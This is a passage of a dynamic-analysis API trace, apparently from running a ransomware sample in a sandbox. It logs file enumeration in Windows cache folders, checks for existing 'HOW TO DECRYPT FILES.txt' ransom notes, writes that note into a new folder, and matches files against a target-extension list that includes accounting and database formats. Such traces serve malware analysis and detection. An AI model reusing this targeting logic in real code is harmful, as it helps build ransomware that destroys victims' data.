lpString2="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C" [0087.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", pszSpec="*.ems") returned 0 [0087.005] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x64b, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1 [0087.005] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.005] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned 1 [0087.005] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned 1 [0087.005] lstrcmpiA (lpString1="", lpString2="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned -1 [0087.005] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C" [0087.005] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0087.005] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0087.005] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0087.005] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0087.005] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585" [0087.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", pszSpec="*.ems") returned 0 [0087.006] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1 [0087.006] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.025] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned -1 [0087.025] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned 1 [0087.025] lstrcmpiA (lpString1="", lpString2="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned -1 [0087.025] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585" [0087.025] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0087.025] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0087.025] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0087.025] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0087.025] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1" [0087.025] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", pszSpec="*.ems") returned 0 [0087.026] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0087.026] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.026] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="F90F18257CBB4D84216AC1E1F3BB2C76") returned -1 [0087.026] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="F90F18257CBB4D84216AC1E1F3BB2C76") returned 1 [0087.026] lstrcmpiA (lpString1="", lpString2="F90F18257CBB4D84216AC1E1F3BB2C76") returned -1 [0087.026] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1" [0087.026] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0087.026] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0087.026] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0087.026] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0087.026] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="F90F18257CBB4D84216AC1E1F3BB2C76" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76" [0087.026] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76", pszSpec="*.ems") returned 0 [0087.026] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0087.026] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.026] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HOW TO DECRYPT FILES.txt") returned -1 [0087.027] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HOW TO DECRYPT FILES.txt") returned 0 [0087.027] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 0 [0087.027] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0087.027] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x355, cFileName="MetaData", cAlternateFileName="")) returned 1 [0087.027] lstrcmpA (lpString1=".", lpString2="MetaData") returned -1 [0087.027] lstrcmpA (lpString1="..", lpString2="MetaData") returned -1 [0087.027] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*.*") returned="*.*" [0087.027] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\", lpString2="MetaData" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData" [0087.027] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f3cc, dwReserved1=0x4f0048, cFileName=".", cAlternateFileName="")) returned 0x502698 [0087.027] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.027] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0087.027] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.027] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.028] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0087.028] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.028] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned 1 [0087.028] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned 1 [0087.028] lstrcmpiA (lpString1="", lpString2="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned -1 [0087.028] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*.*") returned="*.*" [0087.028] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.028] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.028] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" [0087.028] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how to decrypt files.txt")) returned 0xffffffff [0087.048] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0087.051] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0087.051] CloseHandle (hObject=0x98) returned 1 [0087.052] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B" [0087.052] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.ems") returned 0 [0087.052] lstrlenA (lpString="*.ems") returned 5 [0087.052] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.db") returned 0 [0087.052] lstrlenA (lpString="*.db") returned 4 [0087.052] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.dbf") returned 0 [0087.052] lstrlenA (lpString="*.dbf") returned 5 [0087.052] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.myox") returned 0 [0087.052] lstrlenA (lpString="*.myox") returned 6 [0087.052] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.myo") returned 0 [0087.052] lstrlenA (lpString="*.myo") returned 5 [0087.052] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.qbw") returned 0 [0087.052] lstrlenA (lpString="*.qbw") returned 5 [0087.052] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.qbb") returned 0 [0087.052] lstrlenA (lpString="*.qbb") returned 5 [0087.052] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.qbm") returned 0 [0087.052] lstrlenA (lpString="*.qbm") returned 5 [0087.052] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.qbo") returned 0 [0087.052] lstrlenA (lpString="*.qbo") returned 5 [0087.053] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.qbx") returned 0 [0087.053] lstrlenA (lpString="*.qbx") returned 5 [0087.053] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.qba") returned 0 [0087.053] lstrlenA (lpString="*.qba") returned 5 [0087.053] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.qby") returned 0 [0087.053] lstrlenA (lpString="*.qby") returned 5 [0087.053] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.qbj") returned 0 [0087.053] lstrlenA (lpString="*.qbj") returned 5 [0087.053] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.ofx") returned 0 [0087.053] lstrlenA (lpString="*.ofx") returned 5 [0087.053] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.qif") returned 0 [0087.053] lstrlenA (lpString="*.qif") returned 5 [0087.053] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.mye") returned 0 [0087.053] lstrlenA (lpString="*.mye") returned 5 [0087.053] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.mbox") returned 0 [0087.053] lstrlenA (lpString="*.mbox") returned 6 [0087.053] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 